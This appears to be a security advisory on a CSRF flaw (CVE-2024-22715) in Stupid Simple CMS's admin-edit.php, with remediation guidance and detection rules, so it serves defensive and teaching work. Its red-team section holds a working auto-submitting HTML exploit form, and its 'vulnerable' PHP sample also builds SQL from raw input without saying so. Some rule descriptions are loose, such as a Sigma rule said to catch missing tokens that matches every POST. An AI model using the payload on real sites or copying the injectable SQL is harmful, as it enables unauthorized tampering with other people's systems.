CVE-2024-22715

Executive Summary

CVE-2024-22715 identifies a Cross-Site Request Forgery (CSRF) vulnerability in Stupid Simple CMS versions up to and including 1.2.4. The flaw exists in the /admin-edit.php component, allowing an attacker to trick an authenticated administrator into performing unintended actions, such as modifying site content or configuration, without their consent. This vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and is currently unpatched, posing a significant risk to all deployments of this CMS. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent threat.

Supply Chain & Package Security

This vulnerability affects a standalone PHP CMS application, not a package from NPM, PyPI, Go, or Ruby ecosystems. Therefore, supply chain package security considerations are not directly applicable. However, administrators should verify the integrity of their CMS installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker’s actions are within the same security authority.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): High (H) – Full control over content modification.
• Availability (A): Low (L) – Potential for denial of service via content deletion.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L Estimated Base Score: 7.1 (High)

Threat Level: High – Due to the lack of a patch and the potential for full content manipulation.

Deep Dive & Mechanics

The vulnerability resides in the /admin-edit.php script, which handles administrative content editing. The script fails to implement anti-CSRF tokens or origin validation, meaning it does not verify that a request originated from the legitimate admin interface. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a POST request to /admin-edit.php with attacker-controlled parameters. This can lead to unauthorized changes to the CMS content, including pages, posts, or settings.

Attack Flow:

1. The attacker creates a malicious webpage containing a hidden form or JavaScript that targets /admin-edit.php.
2. The attacker lures an authenticated admin to visit this page (e.g., via phishing email or social engineering).
3. The victim’s browser automatically submits the forged request, including the admin’s session cookies.
4. The server processes the request, believing it is legitimate, and performs the attacker’s desired action (e.g., modifying a page).

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely lacks CSRF protection mechanisms. A patched version would include:

• Anti-CSRF Token: A unique, unpredictable token generated per session and validated on each state-changing request.
• Origin/Referer Header Check: Validate the Origin or Referer header to ensure the request comes from the same site.
• SameSite Cookie Attribute: Set cookies with SameSite=Strict or SameSite=Lax to prevent cross-site requests.

Vulnerable Code Snippet (Hypothetical):

<?php
// admin-edit.php
session_start();
// No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $content = $_POST['content'];
    // Update database without validation
    $db->query("UPDATE pages SET content='$content' WHERE id=" . $_POST['id']);
}
?>

Patched Code Snippet (Hypothetical):

<?php
// admin-edit.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('CSRF token validation failed');
    }
    $content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
    $id = intval($_POST['id']);
    $stmt = $db->prepare("UPDATE pages SET content=? WHERE id=?");
    $stmt->execute([$content, $id]);
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Stupid Simple CMS v1.2.4 on a local server (e.g., XAMPP or Docker).
2. Create an admin account and log in.
3. Set up a malicious HTML page on a separate domain or local file.

Exploit Code (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-site.com/admin-edit.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="edit">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="content" value="Hacked by CSRF">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Execution:

1. Host the malicious HTML on an attacker-controlled server.
2. Send the link to the authenticated admin (e.g., via email).
3. Once the admin visits the page, the form auto-submits, modifying the page content.

Blue Team (Defensive)

Detection:

• Monitor for unexpected POST requests to /admin-edit.php from unusual referrers.
• Alert on multiple rapid changes to CMS content.
• Use web application firewalls (WAF) to block requests missing CSRF tokens.

Prevention:

• Implement CSRF tokens immediately (custom patch).
• Enforce SameSite=Strict on session cookies.
• Restrict admin access to trusted IPs or VPN.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin-edit.php with unexpected Referer headers.
  • Unusual user-agent strings (e.g., empty or generic).
• File System:
  • Modified CMS content files (e.g., pages, posts) without corresponding admin activity logs.
• Logs:
  • Server access logs showing repeated POST requests to /admin-edit.php from different IPs.
  • Absence of CSRF token validation errors in application logs.

Detection Engineering

YARA Rule

rule detect_csrf_vulnerable_admin_edit {
    meta:
        description = "Detects potential CSRF exploitation attempts against Stupid Simple CMS admin-edit.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22715"
    strings:
        $admin_edit = "/admin-edit.php" nocase
        $post_method = "POST" nocase
        $content_param = "content=" nocase
    condition:
        $admin_edit and $post_method and $content_param
}

Sigma Rule

title: CSRF Exploitation Attempt Against Stupid Simple CMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to admin-edit.php without proper CSRF tokens
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/admin-edit.php'
    condition: selection
falsepositives:
    - Legitimate admin edits
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22715 - CSRF Attempt on Stupid Simple CMS admin-edit.php"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin-edit.php"; http.request_body; content:"content="; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Access: Restrict /admin-edit.php to trusted IPs only via .htaccess or firewall rules.
2. Implement CSRF Protection: Manually add anti-CSRF tokens to the admin interface (see patched code example).
3. Use a WAF: Deploy a web application firewall to block requests missing expected headers or tokens.

Long-Term Fix:

• Monitor the vendor for an official patch or consider migrating to a supported CMS.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Add the following .htaccess rule to block direct POST requests without a valid referer:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourdomain\.com [NC]
RewriteRule ^admin-edit\.php$ - [F,L]

Valters IT
Securing Digital Frontiers